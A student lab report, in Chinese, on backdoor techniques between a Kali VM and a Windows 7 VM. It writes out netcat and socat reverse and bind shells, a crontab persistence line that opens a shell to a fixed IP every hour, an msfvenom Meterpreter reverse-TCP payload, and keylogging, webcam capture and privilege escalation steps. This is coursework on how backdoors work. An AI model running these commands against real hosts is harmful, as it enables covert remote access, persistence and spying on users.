2017-2018-2 20155203《网络对抗技术》Exp2 后门原理与实践
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 通过下载带后门的程序或者点开带有后门的软件,或者后门本身就在我的系统里;
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 可以更改注册表,随系统启动启动
(3)Meterpreter有哪些给你映像深刻的功能?
- 击键记录,截取摄像头
(4)如何发现自己有系统有没有被安装后门?
- 靠杀毒软件,做这个实验的时候要先关闭杀毒软件
实践过程记录
(1)使用netcat获取主机操作Shell,cron启动
-
在kali虚拟机中输入
ifconfig
,在WIN7虚拟机中输入ipconfig
,找到两个虚拟机的ip地址(一般在同一网段),在VMware Station中打开虚拟机
->设置
->网络适配器
->NAT模式
可以在没有联网的时候仍然ping通同一主机上的两台虚拟机。 -
kali端控制Win7端
1. kali:nc -l -p 端口号
2. Win7:ncat.exe -e cmd.exe kali主机ip 端口号//反向连接kali主机,端口号为kali主机的端口号
3. kali:可以输入Windows命令
- Win7端控制kali端
1. Win7:ncat.exe -l -p 端口号
2. Kali:nc kali主机ip 端口号 -e /bin/sh//反向连接Win7主机,端口号为Win7主机的端口号
-
通过ncat传字符串
一个主机开启端口监听,另一个主机连接到这个端口,不用链接到cmd.exe或是shell可以实现两台主机的数据传输
-
利用cron启动获取shell
- cron工具简介:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。我们就是通过更改crontab中的文件内容(指令内容),使得被控主机反向连接控制端主机端口的指令可以被周期性执行——悄悄进行。
- 具体实施方法:
- Win7:ncat.exe -l -p 端口号
- kali:crontab -e //指令编辑一条定时任务
- kali:选择vim.basic
- kali:时间(分) * * * * /bin/netcat 192.168.1.200 5215 -e /bin/sh//在最后一行添加,时间是指每一小时执行一次的分钟数,按照自己的kali虚拟机的时间设定,不然可能要等很久才能得到shell
- Win7:得到shell执行linux指令
(2)使用socat获取主机操作Shell, 任务计划启动
- socat的使用方法:
socat是ncat的增强版,它使用的格式是socat [options] address address
,其中两个address是必选项,而options 是可选项。socat时kali虚拟机中本身就有的,Win7需要下载使用。
- 打开Win7虚拟机中的控制面板,选择查看方式为:大图标;找到:管理工具,打开;找到:任务计划程序,打开;
- 在右侧一栏中选择:创建任务,打开;
- 填写任务名称;新建触发器,选择开始任务时间为:工作站锁定时,便于操作;
- 新建操作,选择启动的程序为socat.exe,参数填为:tcp-listen:端口号 exec:cmd.exe,pty,stderr,这一操作的含义是把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
- 用快捷键Windows+L锁定虚拟机,任务启动
- 在kali虚拟机终端输入socat - tcp:192.168.1.200:端口号,可以控制Win7的cmd。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 首先要在kali里生成一个可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.144 LPORT=5203 -f exe > dkx20155203_backdoor.exe
注意这里的地址是发起攻击主机的地址,也就是kali的地址,生成文件后,会有文件大小的相关说明。 - 传输这个文件,方法和传字符串相同,命令如下:(有先后顺序,接收方要先意识到要接收文件了)
1. Win7:ncat.exe -l > dkx20155203_backdoor.exe
2. kali:nc 192.168.230.141 5203 < dkx_20155203_backdoor.exe//这里的地址是Win7的地址
接收到要检查文件大小,不幸运的时候有可能是0KB,后面就什么也干不了。
- 在kali端使用
msfconsole
指令进入msf控制台,设置LPORT、LHOST军与生成可执行文件相同,设置payload。执行exploit - 在win7端运行之前传输过去的程序。
- 攻击成功~
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
如图所示:
如果连接摄像头出错,切换到WIN7虚拟机(VMware Station)点击虚拟机->可移动设备->xxx Camera->连接
这个击键记录很有趣,因为如果我是复制的它也记录不了,懒人无敌~
- getsystem提升特权的时候出错,如图:
解决办法:
试了五六次,成功了!
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
实验总结与体会
有趣的实验体验